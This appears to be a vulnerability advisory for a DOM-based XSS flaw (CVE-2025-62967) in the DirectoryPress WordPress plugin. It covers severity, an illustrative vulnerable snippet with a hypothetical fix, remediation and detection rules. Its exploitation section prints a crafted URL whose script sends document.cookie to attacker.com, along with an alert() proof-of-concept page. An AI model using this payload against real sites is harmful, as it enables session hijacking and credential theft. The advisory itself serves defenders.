CVE-2025-62967
Executive Summary
CVE-2025-62967 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the DirectoryPress WordPress plugin, developed by Designinvento, in versions up to and including 3.6.25. This vulnerability allows an attacker to inject malicious scripts into web pages generated by the plugin, which are then executed in the victim's browser within the context of the WordPress site. The attack vector is network-based, requires user interaction (e.g., clicking a crafted link), and can lead to session hijacking, credential theft, or defacement. As a WordPress plugin vulnerability, it is critical for site administrators to assess their exposure and apply mitigations immediately, as no official patch has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The lack of a patch from the vendor (Designinvento) introduces supply chain risk, as site owners relying on automatic updates may remain exposed. Organizations should audit their use of DirectoryPress and consider replacing it with an actively maintained alternative.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – Exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – Victim must click a malicious link or visit a crafted page.
- Scope (S): Changed – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited ability to disrupt service.
Threat Level: Medium. While the CVSS score is moderate, the DOM-based nature and lack of a patch elevate the risk for WordPress sites using this plugin.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input during web page generation within the DirectoryPress plugin. Specifically, the plugin fails to sanitize or escape data that is later processed by client-side JavaScript, leading to DOM-based XSS. Attackers can inject malicious JavaScript code via crafted URL parameters or stored data that is reflected in the DOM without server-side validation.
Attack Flow:
- An attacker crafts a malicious URL containing a JavaScript payload (e.g.,
?param=<script>alert('XSS')</script>). - The victim clicks the link or visits a page where the payload is processed by DirectoryPress's JavaScript.
- The plugin's client-side code inserts the unsanitized input into the DOM (e.g., via
innerHTMLordocument.write). - The browser executes the injected script, allowing the attacker to steal cookies, redirect the user, or perform actions on their behalf.
Root Cause: Lack of output encoding and DOM sanitization in JavaScript files handling dynamic content.
Vulnerable vs. Patched Code
Since no official patch exists, the following illustrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (JavaScript):
// directorypress/assets/js/frontend.js
var userInput = getParameterByName('search');
document.getElementById('results').innerHTML = userInput;
Patched Code (Hypothetical):
// directorypress/assets/js/frontend.js
var userInput = getParameterByName('search');
var sanitizedInput = DOMPurify.sanitize(userInput);
document.getElementById('results').textContent = sanitizedInput;
The fix uses textContent instead of innerHTML and applies DOMPurify for additional safety.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with DirectoryPress <= 3.6.25 installed and active.
- Victim user with a browser.
Exploit Steps:
- Identify a vulnerable endpoint (e.g., search functionality).
- Craft a malicious URL:
https://target-site.com/?directorypress_search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Send the link to the victim via phishing email or social engineering.
- When the victim clicks the link, the script executes and exfiltrates cookies.
Proof-of-Concept (PoC) HTML:
<!DOCTYPE html>
<html>
<body>
<h1>Click the link to test CVE-2025-62967</h1>
<a href="https://target-site.com/?directorypress_search=<script>alert('XSS')</script>">Test XSS</a>
</body>
</html>
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
<script>tags in query parameters. - Use WAF rules to block common XSS patterns (e.g.,
<script,onerror=,javascript:).
Hardening:
- Disable the DirectoryPress plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use a Web Application Firewall (WAF) with XSS signatures.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with query parameters containing
<script>,onerror,onload, orjavascript:. - Outbound connections to unknown domains from the WordPress server.
- HTTP requests with query parameters containing
- File IOCs:
- Modified JavaScript files in
/wp-content/plugins/directorypress/assets/js/. - Suspicious entries in WordPress database
wp_optionsorwp_postmetatables.
- Modified JavaScript files in
- Behavioral IOCs:
- Unexpected redirects or pop-ups on DirectoryPress pages.
- Unauthorized admin user creation.
Detection Engineering
YARA Rule
rule CVE_2025_62967_DirectoryPress_XSS {
meta:
description = "Detects malicious JavaScript payloads targeting DirectoryPress DOM XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-62967"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$dom_sink = /innerHTML|document\.write|outerHTML/i
condition:
$xss_payload and $dom_sink
}
Sigma Rule
title: CVE-2025-62967 DirectoryPress DOM XSS Detection
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects HTTP requests with XSS payloads targeting DirectoryPress plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in search queries (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-62967 DirectoryPress DOM XSS Attempt"; flow:to_server; content:"directorypress_search"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the DirectoryPress plugin if not critical to operations.
- Apply virtual patching via WAF rules to block XSS payloads.
- Monitor logs for exploitation attempts.
Long-Term Fixes:
- Replace the plugin with an actively maintained alternative (e.g., "Business Directory Plugin").
- Implement CSP headers to restrict inline scripts and untrusted sources.
- Educate users about phishing attacks that exploit this vulnerability.
Vendor Contact: Designinvento has not released a patch. Consider reaching out via their support channels or migrating away from the plugin.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.